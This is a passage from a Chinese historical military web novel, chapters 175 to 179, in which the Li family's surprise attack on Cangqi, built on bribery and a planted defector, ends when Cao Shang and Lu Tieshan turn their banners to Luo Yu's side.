李家的实力我大概知道,这一场仗打完,你们的嫡系兵马也就剩不到八千,而苍岐呢?怕是得近万兵马,还有大批精锐骑兵。就算我饮马镇两千军卒全都搭进去,李家也赢不了这场仗。
银子好是好,可也得有命花不是?饮马镇两千兄弟的身家性命都在我身上,我可不能让他们去送死。
所以抱歉,公子请回吧。”
“早就听闻曹首领心直口快,今日我算是领教了。”
被曹殇当面戳中了痛处,李玄冰倒也不恼,反而平静地说道:
“一个月前我李家确实打不赢,但现在能赢!今非昔比了!”
“噢?”
曹殇嗤笑一声:
“难道李家有本事一个月就练出一支精锐?”
李玄冰漫不经心地说道:
“你说的没错,我李家的底牌是六千精骑,一直未动,但我花重金从定州、并州请了几支佣兵过来,总计四千骑兵,已经秘密进入天阙城,如果加上饮马镇的两千骑兵,我们总计一万两千精骑。
除此之外,阙州各城的牙兵将会倾巢而出,还能凑出一万步卒,满打满算就是两万余兵马。
如此强大的兵力,曹首领还担心什么?”
“请了好几支佣兵过来?”
曹殇目光一震,像是想到了什么:
“怪不得你们会请君家、王家来劝和,原来是在拖延时间,等待佣兵入境啊,李公子的手段果然高明,佩服!”
“些许手段罢了,不足道哉。”
李玄冰接着说道:
“洛家军的实力我很清楚,总计万余兵马,两三千人驻守在凤川,不足为惧,还有一千五百人跟着韩朔外出,巡查各城,整顿吏治,也就是说留在苍岐的守军只有六千骑兵。
没错,洛家军确实能征善战,但总不至于人人以一当十吧?
两万多人,对阵六千。
这场仗会输吗?”
曹殇的嘴角勾起一抹耐人寻味的弧度:
“李公子似乎对洛家军内部的情况很了解啊,想必有什么消息来源?”
“这曹首领就不用管了,我李家执掌阙州这么多年,这么点手段还是有的。”
“我很好奇啊。”曹殇抄着手问道:
“我与洛羽交情不浅,你就不怕我将李家的计划告诉他?”
“不会的。”
李玄冰笑了笑:“我知道洛羽出手拉拢过你,你拒绝了。一个乳臭未干的小二罢了,还想骑在你的头上,岂不是天大的笑话?”
曹殇脸上的笑容越发诡异:“看来李家知道的事情真不少啊。”
李玄冰沉声道:
“今日我李玄冰是诚心来请曹首领出兵相助的。
一来我知道饮马镇的兄弟骁勇善战,杀伐果断;二来,此战对李家十分重要,绝不容失,能多一分助力便是最好。
我知道请饮马镇出手的价钱,我李家开的价绝对高过常人。
此战只要赢了,除了三万两定金之外,李家还会再付你三万两!”
李玄冰目光阴森,这次李家真的下了血本,光一处饮马镇就花了六万两,再加上其他几支佣兵,哗啦啦十几万两银子流出去了,甚至比他们给洛羽的战争赔款还要多。
但李玄冰很清楚,这笔银子不能省,只要灭了苍岐,以后酒水、布匹生意就全归李家了,早晚能把银子挣回来。
沉寂,屋中陷入了长久的沉寂。
曹殇的脑筋在极速转动,好像在盘算其中的利害得失。
李玄冰嘴角带笑,曹殇爱钱爱女人的名声阙州尽知,他这次来可是信心十足。
“李公子。”
曹殇终于抬起头来,眼神中多出了一份冷漠:
“我曾经和洛羽并肩作战,共退羌敌,他可是我的生死兄弟,挚爱亲朋啊!”
“想让我杀他?”
“得加钱!”
第175章千军万马出天阙
凤川城头
徐松手中握着一封刚刚接到的军情密报,匆匆扫视几眼之后便眉头紧皱,下意识地嘀咕了一句:“好生奇怪。”
黄自灵不知何时出现在了身侧,好奇道:
“徐兄,出什么事了?”
洛家军的主力精骑都驻扎在苍岐城,凤川城由徐松和黄自灵的两营步卒驻扎,约莫两三千人。所以这些天徐松一直和黄自灵一起练兵,两人的关系熟络了很多。
“刚传来的密报。”
徐松冷声道:
“似乎有几支身份不明的军伍进入了天阙城,而且李家辖境内的各城都在暗中集结兵力,李家如此兴师动众想要做什么?我总感觉情况不对劲,得立刻将消息传给洛将军!”
凤川城算是苍岐的门户,所有游弩手外出巡查时都会先出凤川城,再深入阙州各地,换句话讲,所有从外界传来的情报也得先经过凤川,所以徐松拿到的算是第一手军情。
“哎,徐兄何必如此惊慌。”
黄自灵很随意地说道:
“不是说关外西羌正在集结兵力,准备报复去年的两场败仗吗?李家做出相应的应对之策也情有可原,咱们不必草木皆兵。”
“这可不是草木皆兵啊,而是李家太过狡诈。”
徐松并不认可他的说法:
“以我对李家的了解,他们绝不会为了抗击羌人召集这么多兵马的,一定另有所图!万一李家想撕毁约定,再度发兵苍岐怎么办?咱们得通知将军早做应对之策!”
“徐兄,且慢!”
黄自灵一把拽住了准备离开的徐松,表情有些古怪。
“黄兄,你到底是何意?”
徐松皱起眉头:
“不管李家要对谁用兵,只要天阙城有异动咱们就该把军情报上去,你何必屡次阻拦?”
“呵呵。”
“就算李家要对苍岐用兵又如何?李大人本就是阙州持节令嘛,洛将军强占了阙州半数疆域,于情于理都说不过去。”
黄自灵轻描淡写的一句话让徐松的面色陡变:
“黄自灵,你知不知道自己在说什么?”
“我自然知道。”
黄自灵的脸上闪过一抹森然的杀意:
“实话告诉你吧,李家确实在集结兵马,整整两万悍卒!三天后就会奇袭苍岐,到时候整个苍岐都会被战火所笼罩。”
“你怎会知道得如此清楚?”
徐松的手掌已经按住了刀柄,杀气腾腾:“黄自灵,你该不是是李家的奸细吧!”
“哈哈哈,奸细?不不不,徐兄搞错了。”
黄自灵仰天大笑:
“我本就是李家的家将,自始至终效忠的都是李家,何来奸细一说?”
“那在宁台县又是怎么回事!”
徐松不可置信地反问道:“我们亲眼看到你杀了李康,献出了城池!”
“哎,不用苦肉计怎么能骗过大名鼎鼎的洛羽呢?反正李康是个废物,他的人头恰好就是我的晋身之资。”
“妈的,你这个卑鄙小人!枉我们如此信任你!”
徐松已经做好了挥刀杀人的准备:
“你就这么光明正大地说出来,不怕我宰了你吗?”
“只怕你没这个本事啊。”
黄自灵漫不经心地说道:
“今日在城头上值守的全是我的人,就算我现在杀了你,你又有什么办法?”
果然,黄自灵话音刚落,四周军卒就虎视眈眈地盯着徐松,目露凶光。徐松有些气急败坏:
“黄自灵,没看出来你是个居心叵测的小人!蓄谋已久!”
“徐兄,且听我一言!”
挨了几句骂,黄自灵并不恼怒,反而语重心长地说道:
“你虽然投入洛羽麾下当了一名校尉,但他真的拿你当自己人吗?
你可别忘了,蒙虎、吕青云、余寒弓这些人从一开始就跟着他了,人家才是心腹。而你呢?你是鲍卿麾下投过来的降将,当初鲍卿差点将他们害死,说句不中听的话,不管你再怎么忠心耿耿,洛羽心中永远会对你藏着一份猜疑,只不过现在还没展现出来罢了。
心腹几营精锐都驻守在苍岐,为何让我们两守在凤川?说到底还是信不过罢了!”
此言一出,徐松的表情明显一僵,努了努嘴:
“你继续说。”
“都说人不为己天诛地灭,徐兄身负大才,当初云阳关一战也是战功赫赫,与其在洛羽手下郁郁不得志,倒不如为自己谋一份好前程。”
黄自灵的语气中充满了引诱的味道:
“大公子对徐兄仰慕已久,早有招揽之心,你若投入李家必会受到重用!日后别说一个区区校尉了,就是封你为将军,统领凤川全城又有何难?
大丈夫生于天地之间,总该闯出一番天地。
洛羽不给你这个机会,但李公子愿意给你这个机会!
别看洛羽现在耀武扬威,但三天后李家大军一到,犹如泰山压顶重重一击,苍岐注定沦为一片火海,洛家军覆灭只在朝夕之间!
这时候还傻乎乎地替他卖命?不值当!”
徐松握住刀柄的手不自觉地松开了,眉头紧皱,像是在做心理斗争。
黄自灵靠近了一步,语重心长地说道:
“我知道,徐兄的小儿子身患重病,多年来一直卧床不起,你仅有的军饷全都花在了儿子身上,父子之情,天地可鉴!
李公子深感徐兄的大义,已经为你寻得几位阙州名医,保证替你治好儿子的病!”
徐松豁然抬头:
“当真!”
“若有半句虚言,就叫我黄自灵死于乱刀之下!”
黄自灵对天起誓:
“徐兄啊徐兄,你就算不为自己想,也该替你儿子想想,他的大好年华还没开始,总不能一辈子都躺在病床上吧?”
徐松咬牙许久之后终于恶狠狠地点了点头:
“干了!我希望李家真能治好我儿子的病,否则别怪我翻脸不认人!”
“君子一言,驷马难追!”
既然想通了,徐松便直截了当地问道:
“你刚刚说三日后李家大军便会抵达,我们需要做什么?”
“很简单,从现在起封锁消息,同时软禁梅雪崖!让苍岐城成为睁眼瞎!”
黄自灵阴笑道:
“三天后大军一到,洛家军只能仓促迎战,唯有死路一条!徐兄就等着成为凤川城主吧!”
……
夜幕缓缓降临,笼罩着阙州大地
天阙城全城宵禁,城门大开,数不清的精壮军卒迈步出城,高举的火把宛如一条长龙盘旋在天地之间,蔚为壮观。
连同花重金请来的佣兵,李家整整出动了一万骑兵、一万步卒,积攒多年的家族精锐倾巢而出,天阙城几乎成了一座空城。
就连李玄冰都披上了甲胄,这次他要亲自领兵讨伐苍岐,亲眼看着洛羽惨死在乱军丛中。
李松年苍老的眼眸中闪过一丝无奈:
“没想到啊,两年前洛羽在我们眼中还是一只蝼蚁,今日却把李家逼到这一步,此战若是输了,我李家将万劫不复。”
“父亲大人请放心。”
李玄冰面无表情地说道:
“饮马镇的兵马也会赶赴战场,咱们的骑兵是苍岐的两倍!黄自灵也策反了徐松,凤川城已然握在我李家手里,此时此刻那位定边将军还蒙在鼓里,浑然不知危险来临。
此战我李家必胜!”
“那就好。”
老人似乎将所有的希望都寄托在了儿子身上:
“冰儿,家族存亡,系于你一身!”
“明白!”
李玄冰咬牙切齿地说道:
“此一战,我定要将洛羽挫骨扬灰!”
第176章你不如他
“放我出去!本官是凤川知府,谁给你们这么大的胆子软禁我!”
“开门,放我出去!”
“徐松呢,黄自灵呢!我要见他们!”
“我要见洛将军!”
屋中回荡着梅雪崖愤怒的吼声,任凭他如何拍动门框都无人回应。从三天前开始他就被限制了自由,所有吏员都消失不见,看守自己的是一批很陌生的军卒。
每天定时定点有人来送饭,但一句话都不跟他讲,梅雪崖只是一个文弱书生罢了,拿这些虎背熊腰的军卒没有一点办法,只能骂骂咧咧。
“妈的,到底出什么事了!”
梅大人罕见地爆了句粗口,愤愤不平地坐回椅子上,桌上的饭菜早已凉透但他一口也吃不下。
“嘎吱~”
恰在这时,屋门竟然打开了,徐松与黄自灵二人缓步而入,眼神很是古怪。
“你们两总算是来了!”
梅雪崖蹭的一下就站了起来,板着一张脸:
“城内到底出了什么事,谁下令软禁我的?我要见洛将军,立刻!”
“梅大人稍安勿躁。”
黄自灵微微一笑:
“洛将军你是见不到了,因为凤川城从现在起姓李了。”
“姓,姓李?”
梅雪崖的瞳孔骤然一缩,颤抖着伸出手掌:
“你们两,你们两竟然敢当叛徒!”
“非也非也。”
黄自灵漫不经心地说道:“我一直以来都效忠于李家,何来叛徒一说?呵呵。”
“你,你是诈降!”
梅雪崖何等的聪明,只一句话就猜出了大概,随即恶狠狠地瞪着徐松:
“那你呢!你从云阳关就跟着洛将军,血战多次,将军待你不薄,你为何要背叛我们!”
徐松的眼眸中没有半点情感,十分平静地说了一句:
“抱歉,人各有志。”
“呸!”
“还人各有志,只怕是李家许诺你天大的好吃了吧?你这个见利忘义的小人!”
梅雪崖破口大骂:
“当初鲍卿身死,是洛将军收留了你,让你一步步当上校尉,你今日却恩将仇报,你对得起洛将军吗!”
“呵呵,没想到大名鼎鼎的梅大人也有如此暴躁的一面啊,真是令人没想到。”
屋外飘入一阵戏谑的笑声,一袭雪白的长衫出现在几人的视野中,男子的嘴角还挂着淡淡的笑容。
“李玄冰!”
梅雪崖一眼就认出了此人,震惊道:“你怎么会在这!”
“刚刚已经说了,从此刻开始凤川城姓李。”
李玄冰缓步入屋:“李家两万大军已经接管凤川城,天一黑就会向苍岐进军,到明天晚上苍岐城就会成为一片废墟,你口中的洛将军也会成为战场上的一具死尸。”
“怎么,怎么可能。”
梅雪崖的身形猛地一颤,目光茫然:
“你们哪来的两万兵马?李家附庸的牙兵不是已经被歼灭了吗?难道,难道说罢兵议和只是你们的缓兵之计?是为调集兵力争取时间?”
“哈哈哈,梅大人果然大才啊,这都被你猜中了。”
李玄冰放声大笑,眼中多出了几抹欣赏之意:
“早就听说梅大人从小乞丐一跃成为凤川的状元郎,只管境内政务、吏治,将凤川城治理得井井有条,号称洛羽的左膀右臂。
今日一见果然名不虚传。”
“当初要开战的是你们,要议和罢战的也是你们,现在撕毁盟约的还是你们!”
梅雪崖怒目圆睁:
“李家毫无信誉可言,卑鄙无耻!”
“别骂了,白费口舌罢了。”
李玄冰袍袖一挥:
“我李玄冰一向爱才,更爱梅大人这种大才。倒不如你学学徐校尉,弃暗投明,入我李家麾下效命。
现在你掌管的只不过是一座凤川城,入我李家,日后你可以掌管整个阙州!”
“掌管整个阙州?”
梅雪崖的眼中闪过一道精光:
“果真吗?”
“当然,我李玄冰一言九鼎!”李玄冰很认真地点头:“以梅大人之才,定能成为李家的得力臂助,荣华富贵、高官厚禄,指日可待!”
“我呸!”
梅雪崖狠狠啐了口唾沫::“我就是死,也不会替你卖命!”
“为什么?”
竟然被梅雪崖摆了一道,李玄冰的眼神一点点冷了下来:
“洛羽不过是个小小边军出身,一朝得势才有了今天的地位,而我李家持节阙州数十年,根基深厚,底蕴远非洛羽可比。
你为什么宁愿替一个将死之人效命也不愿意投我李家?”
李玄冰很疑惑,百思不得其解。
如果说之前洛羽是战胜方,梅雪崖为其效命也就罢了,可现在洛羽覆灭在即,他想不通梅雪崖有什么理由拒绝自己。
“哈哈,为什么?那我就好好说与你听。”
梅雪崖仰天大笑,目光戏谑:
“李家爱才?天大的笑话!
几年前我爹带着我四处求人,想要入李家当个小小的幕僚,你爹从头到尾都没有正眼看我一眼,甚至指使家丁活生生打死了我爹!我们之间有杀父之仇!
你们看中的是现在的梅雪崖,因为我还有利用利用的价值,可洛将军看中的是当初的我,当初那个一无是处的小乞丐!
李家选人,先看出身再看才能,但洛将军只看能力!所有人在他眼里一视同仁。
目光短浅之辈罢了,你哪有半点比得上洛将军?
我梅雪崖没上过战场,更没有什么铮铮铁骨,但我明白,滴水之恩当以涌泉相报!今日你就算杀了我,我梅雪崖也绝不会对李家卑躬屈膝!”
一番话罕见地让李玄冰脸色羞红,他万万没想到梅雪崖当初还去过李家,这不是赤裸裸地打自己的脸吗?
“来,杀了我!”
梅雪崖怒斥道:
“你们连让我低头的本事都没有,谈何击败洛将军!一群小人!”
“哈哈哈!”
放肆的笑声让李玄冰咬牙切齿:
“我不杀你,我要让你眼睁睁地看着洛羽的尸体躺在你面前。”
“我要让你知道,让整个阙州知道,我就是比他强!”
“传令!”
“大军休整两个时辰,发兵苍岐!”
……
月明星稀,晚风呼啸
洛羽独自一人站在苍岐城头,神情平静。
远处的平原广袤无垠,与星空交相辉映,更远处的山脉此起彼伏,宛如一头头巨兽匍匐在大地之上。
萧少游缓步走来,低声道:
“李家大军已经离开凤川,往苍岐进发,预计明天一早便会抵达城外。”
“多少人?”
“两万,应该还有一支曹殇的兵马。”
“好大的手笔啊。”
洛羽喃喃道:
“这次总该分出胜负了。”
第177章雨落苍岐之巅
苍岐城外的天空在清晨时分便蒙上了一层铅灰色的纱帐,厚重的云团自西北方向压来,边缘被尚未露面的朝阳镀上一层病态的铁锈色,仿佛天空生了一道溃烂的伤口。
山林中的野花蔫头耷脑,叶片卷曲成干枯的细管。偶尔有风掠过,草茎便发出细碎的沙沙声。远处三岐山的山峰轮廓在蒸腾的地气中扭曲变形,如同浮动在沸水中的墨迹。
今天的空气中不再弥漫着盛夏的燥热、烦闷,而是阵阵风沙席卷,吹散了热气。
威武不凡的骑阵矗立在城外平原,黑甲茫茫,泛着点点寒光,一面面“洛”字军旗迎风而立,猎猎作响。
蒙虎、吕青云、余寒弓、霍连城四营外加小伍麾下的一千亲兵,整整七千精骑,这是苍岐眼下能拿出来的所有家底。
与之相对的是一座更为庞大的军阵,骑步混合,一眼望不到头,旌旗蔽野,杀气腾腾。
镇守阙州数十年的李家倾巢而出,如果没有洛羽,这两万兵马确实能震慑整个阙州,无人敢对李家有丝毫不敬。
一骑飞奔出阵,高举李字军旗,朗声怒吼:
“李家李玄冰,请定边将军阵前答话!”
“又玩这一套。”
洛羽冷笑一声,但依旧策马前行,李玄冰早已换上一身甲胄在阵前等着他。
四目相对,杀意涌动。
李玄冰微微一笑:“洛将军,好久不见。”
洛羽讥讽道:
“罢兵停战不到一个月,李家的大军就到了苍岐城外,你们果然毫无信誉可言。你请君家、王家来阙州劝和调解,如今又悍然撕毁盟约,就不怕落了两家的面子吗?”
两家出面给李家担保,洛羽这才撤兵停战,若论道理,李玄冰该顾及两家的颜面才对。
“哈哈,笑话,我李家岂会惧怕君家、王家。”
李玄冰大笑一声:
“你该不会天真地以为两家会帮你出头吧?
这世上从来都是强者为尊,等你战死沙场,成为一堆白骨,苍岐化作一片焦土,两家又能拿我怎么样?我父亲依旧是阙州持节令,我也是陇西四公子之一,一切只会和从前一样。”
“说得好,强者为尊。”
洛羽望着远方黑压压的军阵:
“为了这一战,李家好像请来了不少帮手啊,我怎么看还有不少是佣兵?凤川城已经失联三天,所有外出的斥候都没回来。
如果我没猜错,黄自灵是你故意安排诈降的吧,为的就是在洛家军中插下一颗钉子。”
“果然是洛城主,聪明。”
李玄冰冷笑一声:“不怕告诉你,凤川城此刻已经挂上李家大旗,徐松也归顺于我,你的得力文官梅雪崖更是在我的软禁之下。另外,曾经和你并肩作战的曹殇也正在率兵赶来,会和我合兵一处,并肩作战。
怎么样,众叛亲离的滋味不好受吧?”
“好手段。”
洛羽目光鄙夷:“李家还真是下了血本,抗击羌贼的时候怎么没见你们这么用命?”
“哼,攘外必先安内!”
李玄冰咬牙切齿的说道:
“这一次我李家确实花了大价钱才请来这么多佣兵,但是只要杀了你,一切付出都值得!”
李玄冰的眼眸已经被怒火充斥,他和洛羽之间的恩怨绝不仅仅是两家在争夺地盘、抢生意,更在于李玄冰自幼高傲,洛羽在他眼里只不过是一个暴发户罢了,哪来的资格骑在自己头上拉屎!
一次次被洛羽搞得灰头土脸,李玄冰对洛羽的恨意早就超出了两家间的利益之争。
“当然了,本公子心善,如果你现在跪地求饶,给我磕三个响头,并交出手中兵权,我可以饶你不死。”
李玄冰只觉得满心舒畅,狞笑道:
“如果你负隅顽抗,那就怪不得我了,我会将整座苍岐踏为平地!城内百姓一个不留,皆杀!”
“说狠话是没用的。”
洛羽波澜不惊,讥讽道:
“胜负尚未可知。”
“那我就借用你一句话,咱们战场上见!”
两人各自策马回阵,主帅归位的那一刻双方大军都憋足了一股劲,只等开战。
“看你还能嚣张到何时!”
李玄冰手掌轻挥,身侧一名悍将朗声怒吼:
“定边将军洛羽,私通羌贼,欺压百姓,人神共愤!奉阙州持节令诏!诛杀反贼,剿灭叛逆!”
“城破之后,寸草不留!”
“大军出战!”
“嚯!”
饮马镇的骑兵还没到,第一波出战的乃是四千佣兵外加李家四千嫡系骑兵,整整八千精骑,缓缓行出大阵。
李玄冰知道靠八千人很难一鼓作气打垮洛羽,但只要能拼个你死我活就足够了,他麾下还有一万余兵马,足以奠定胜局!
至于曹殇,他知道此人的性子,虽说收了银子,但早就明言在前,不会当李家的炮灰,只会在李家和洛羽大战一场之后再出战,典型的想坐收渔翁之利。
不过李玄冰并不介意,等他灭了洛羽,回头再解决曹殇又有何难?
洛羽策马回身,迎接他的是无数道炙热而后崇敬的目光。
一次次沙场征战,一次次在鬼门关的边缘徘徊,洛家军上下皆视洛羽为灵魂人物,只要洛羽在,不管敌人多么强大他们都有信心战而胜之!
“都听到了吗!他说我们是叛逆,说我们卖国通敌!”
洛羽遥指对面军阵,冷喝道:
“这就是咱们阙州的官军,咱们的持节令!我们抗击羌贼的时候他们在哪?我们血战云阳关的时候他们在哪?
羌兵入境劫掠,杀我妻儿、夺我土地的时候他们又在哪!”
“轰!”
短短三个问句让全军上下凶光大盛。
没错,他们与羌兵血战的时候李家的兵在哪?百姓惨遭屠杀的时候他们又在哪!
“苍岐是我们的家,是我们从无到有一点点建起来的。”
洛羽接着说道:
“如今他们打着剿除叛逆的幌子想要毁我家园,杀我妻儿老小,告诉我,该怎么办!”
“杀!杀!杀!”
三声怒吼冲天而起,震动云霄。
“轰!”
陡然有一阵惊雷划破天穹,随即便有淅淅沥沥的雨珠落下,像是老天爷在回应一声声嘶吼。
苍岐城头,萧少游与沈漓驻足而立。
满脸忧虑的姑娘伸出小手捧起几滴雨珠,喃喃道:
“下雨了。”
萧少游抬头看天:
“总感觉会有一场暴雨啊,连老天爷都看不惯李家的所作所为。”
“既然要战,那边战吧。”
不仅是他们俩,城内无数百姓都忧心忡忡地在家门口观望,等待,他们看不清城外的状况,但他们知道自己的丈夫、儿子、父亲即将踏上战场。
“没错,杀!”
洛羽的语调逐渐拔高:
“就让这暴雨,降落在苍岐之巅!”
“轰!”
全军肃杀,战意在每一名将士的胸膛中燃烧。
雨势越来越大,噼里啪大的雨珠打在黑甲表面,溅起一团团水花。一杆杆锋利的长矛低垂马背,吞吐着瘆人的寒光,战马也在发出一声声嘶鸣,似是感受到了大战即将来临。
萧少游振臂高呼:
“擂鼓!为我大军助威!”
“咚!”
“咚咚咚!”
漫天鼓声响彻云霄。
这一刻暴雨倾盆,狂风大作!
洛羽仰天怒吼:
“风起陇西!”
全军怒喝:
“雨落苍岐!”
风起陇西,雨落苍岐!
洛羽提枪前举,眼眸中只剩森然的杀意:
“起矛!”
七千铁甲,尽起矛!
雨落人间,战苍岐!
第178章今日,阙州易主!
“轰隆隆!”
雄壮的马蹄踩踏着地面,溅起一团团水雾,一排又一排骑兵先后涌出,天空中还有阵阵雷鸣回响。
李家八千骑同样声势雄壮,到底是李家的底牌,大部分骑兵都配穿胸甲,手握长矛,装备精良。几支从定州、并州请过来的佣兵也是滚刀肉一类的角色,挥舞着长枪弯刀策马扬鞭,怒吼声不断,这些家伙收了银子是真敢玩命啊。
“都说洛家军战无不胜,依我看区区笑谈罢了。”
李玄冰嘴角勾起讥笑:
“本公子要用今日一战向所有人宣告,阙州李家的威严不容任何人挑衅!”
这一仗,他志在必得!
“轰隆隆!”
洛家军已经开始缓慢提速,一杆杆长矛斜举冲前,饶是眼帘被雨水打湿依旧能保持阵型的严整。百战老卒们夹紧马腹、紧握长矛,调整坐姿,努力确保自己会以最佳姿态撞阵而入。
在苍岐演武场的一次次操练中所有人早已将骑战的要点铭记于心:
阵型要齐!凿阵要狠!杀敌要准!
骑阵前移的速度越来越快,马蹄迈动间留下了道道残影,犹如大江拍岸,滚滚向前。轰鸣声渐渐响彻云霄,呼应着城头战鼓,最终湮没惊雷。
两军对战,锋线相邻!
一声怒吼冲天而起:
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
雨水如注,天地间一片苍茫,两军悍然凿阵!
洛羽连同三百亲兵营精锐为大军开阵,一杆长枪笔直刺出,迎面贯穿了一名敌骑的胸膛,鲜血飞溅。
他身后的玄底洛字旗实在是太显眼了,引得无数敌军侧目,一名靠前领兵的李家武将怒目圆睁:
“李家李三蛋,特来取你狗命!”
“喝!”
长枪斜挑,笔直刺向了洛羽胸口,你还别说,此人确实有两下子,枪法不错。
洛羽的眼皮眨都没眨,只是轻轻一偏腰肢,枪尖便擦着自己的胸甲滑了过去,与此同时手腕一翻,长枪挑开对面的枪杆,以迅雷不及掩耳之势狠狠捅进了他的胸膛。
“噗嗤!”
强劲的力道将尸体捅离马背,重重抛出去老远,砸倒了身后一片骑卒,人仰马翻,李三蛋脖子一歪,就这么死了。
“杀!”
洛羽奋勇向前的同时,小伍许韦一左一右护卫身侧,麾下亲兵营长枪迭出,一杆杆长矛飞舞间带起了团团雪花,刀剑相撞的清脆声响连带着血肉飞溅的低沉,共同交织出战场的恐怖与血腥。
全军上下凶悍撞阵,长枪袭来丝毫不避,就是一枪换一枪,看谁的枪更快、矛更准。出矛,收枪,看似简简单单的动作他们曾经操练过上千遍,早已形成了肌肉记忆。
李家锋线的最前排以肉眼可见的速度被撕开一道缺口,一千精骑组成的三道锋线接二连三地撞阵而入,凶悍无比。
不管是李家骑兵还是花费重金请来的佣兵都发现了洛家军的强悍之处,不论枪法还是骑术,他们似乎都要强上一筹,甚至就连手中兵器也比他们精良,看似平平无奇的一杆长枪坚固无比,接连刺杀多人也不见枪杆崩断。
这一切就得归功于公输白了,他打造出来的长矛弯刀堪称天底下最强的神兵利器。单打独斗或许看不出多大的优势,但成千上万的精锐汇聚在一起,一点点小优势都会被无限放大。
亲兵营刚刚涌入敌阵,蒙虎的怒吼声就回荡全场:
“犯我苍岐者!”
“杀无赦!”
“喝!”
蒙虎的枪法一向是大开大合,什么叫大开大合?
只见他先是捅死一名佣兵,而后单手握紧枪杆横挥而出,厚重而又强劲的力道当场就将数名敌骑砸得吐血而退,一路冲杀,左突右刺,周遭方丈之内没有任何敌军能在他枪下活过三息,宛如一尊杀神。
然后是吕青云、余寒弓、霍连城。
四营人马一波又一波的撞阵而入,就连余寒弓都放弃了一向娴熟的弓弩,全军上下尽握长矛,不断刺杀,争取一枪出手必能杀敌建功。
正如当初那句老话,骑兵凿阵,勇者为先,第一波撞阵的气势尤为重要!
按照常理,本该是最精锐的骑军冲锋在前,越往后的骑兵越弱,李家军苦苦熬过了前两波锋线,却发现等待他们的依旧是一声声怒吼冲杀。
哪有什么强弱之分,统统都是精锐!
当双方骑军互相凿穿对方阵型的时候,洛家军阵型稳固如初,可李家军却已现混乱之象,大口大口地喘着粗气,就连那些号称滚刀肉的佣兵脸上都多出了一抹惊骇,他们对面的到底是怎样一群对手啊。
战场中间遗留下一大片的死尸,还有数不清的伤兵倒在血泊中哀嚎,一匹匹失去主人的战马在胡乱地奔跑,偶尔发出阵阵凄厉的嘶鸣。
大军阵中鸦雀无声,李玄冰的脸色已经变得僵硬,下意识地咽了口唾沫。
他虽然不懂兵法,也没上过战场,可是光从双方骑军的气势他就能看出,洛家军太强了,这八千骑绝不是对手!
身侧一名副将支支吾吾的说道:
“公子,要不要,要不要再派骑军出战?”
李玄冰的脸皮抽了一下,阵中只剩两千骑兵了,曹殇的兵马还没出现,这是护卫中军的底牌,决不能动。一万步卒那就更不能动了,这种万马奔腾的场面,步卒冲上去只会送死。
“不!”
李玄冰恶狠狠地说道:
“只要能拼掉洛羽的主力,这八千人就算是全军覆没也在所不惜!”
“传令下去,任何人不得怯战,敢后退一步者,杀!”
还不待李玄冰的军令传到阵前,刚刚跃阵而出的洛家军已经开始调转马头,转身冲杀。庞大的骑阵一分为二,犹如大堤从中间劈开浪潮,滚滚翻涌。
一左一右两座骑阵向两翼兜出一个巨大的弧线,从斜刺里冲向敌阵,尚未调整好阵型的李家军仓促之下只能被动迎战,一道道怒吼声此起彼伏,想要借此提振一下军心士气。
“杀啊!”
“砰砰砰!”
“噗嗤噗嗤!”
又是一轮凶悍的冲杀,仔细看你就会发现,洛家军撞阵而入的角度尤为刁钻,几乎是从李家军最脆弱的地方杀了进去。
这一冲可不得了,李家骑阵隐隐有崩溃之象,最弱的兵马遭遇了洛家军最强的袭击,一时间哀嚎声响彻寰宇。
其实在苍岐城头有一群令旗兵,他们手中的令旗指引着大军进攻的方向。
洛羽和萧少游两人分工明确,主将亲临一线,率领全军拼杀,萧少游高居城头,随时根据战局的变化调整阵型。
上万军卒的对冲,萧少游的目光却始终冰冷,眉宇间丝毫不见慌乱,一道道军令从他的口中不断蹦出,就像一台无情的战争机器。
沈漓很是诧异,怪不得这家伙没有像其他将领一样领军厮杀,感情居中指挥才是他最擅长的事,这种本事像蒙虎他们肯定没有。
当第二轮凿阵结束的时候,李家骑兵已经变得四分五裂,阵型松散不堪,将士们握枪的手因为激烈拼杀在不断发抖,一道道鲜血顺着刀锋枪尖不断滴落地面。
若不是几名李家武将拼了命地维持阵型,只怕这一轮凿阵结束的时候他们就该溃败了。尤其是那些佣兵,已经心生退意,李家确实花了大把的银子,可也得有本事花啊。
战场中突然陷入了一阵诡异的安静,唯有哗啦啦的雨声弥漫在天地之间,血淋淋的尸体被浇得湿漉漉,血污混杂着雨水,真正诠释了什么叫血流成河。
“隆隆~”
“轰隆隆!”
这种安静并没有维持多久便被一阵马蹄声打破,李家骑阵右后方涌出一支骑军,长枪凛凛,声势雄壮,军中高举着一面“曹”字大旗。
“妈的,总算是来了!”
李玄冰松了一口气,别看曹殇只有两千骑兵,可战力强悍啊,要不然饮马镇也不会成为整个阙州都闻名的势力。
“轰隆隆!”
这还没完,左后方同样传出了一阵马蹄声,铺天盖地的骑兵涌出地平线,约莫有一千五百人上下,军旗大书一个“陆”字。
“陆?”
李玄冰愣了一下:
“陆?陆铁山!”
没错,另一支骑兵正是驻扎在云阳关的陆铁山陆老将军,没人知道他为何会离开云阳关深入内地,更没人知道他为何会突然出现在苍岐战场。
老将军策马持枪,满头白发已经被雨水打湿,竟然还轻笑了一声:
“呵呵,总算没来晚。”
“他怎么会出现在这!”
李玄冰急了,第一次觉得事态的发展超出自己的掌控,眉头紧凝,他很清楚当初云阳关一战的经过,陆铁山对李家绝无半分好感,所以他不可能是来帮李家的,只可能是洛羽的助力!
可自己不是提前占领了凤川城,掐断了苍岐往来沟通的渠道吗?陆铁山又是如何得知即将大战,提前一步率兵来援?
一股不安隐约从李玄冰的心底浮现。
两座骑阵同时勒住缰绳,就停在李家军的后方,数不清的战马高昂着头颅,更有无数道凶悍的目光直射前方。
李玄冰眉头一皱:
“曹殇在干什么!为何不前来与我大军汇合!”
饮马镇的诡异举动让李玄冰心中那份不安越来越浓烈。
“唔,好大的场面啊,没想到我曹殇这辈子还能见到如此壮观的景象,啧啧。”
曹殇的嘴角突然勾起一抹诡异的弧度,几乎是与陆铁山同时喝道:
“全军换旗!”
“轰!”
原先的曹字陆字旗统统消失不见,取而代之的是漫天飞舞的“洛”字玄旗。
李玄冰的表情瞬间僵硬。
三座骑阵,呈包围之态围住了李家军,近万骑卒声势雄壮。
洛羽面目狰狞,举枪怒吼:
“今日!”
“阙州易主!”
第179章彻头彻尾的骗局
“擂鼓!”
萧少游拔剑怒喝:
“全军开战!”
“咚咚咚!”
“杀!”
三座骑阵!一万铁甲!
同时铺开锋线,长枪向前,就像滔滔洪水,要将李家大军彻底淹没。
李玄冰只觉得天旋地转,目光茫然:
“为什么,为什么?”
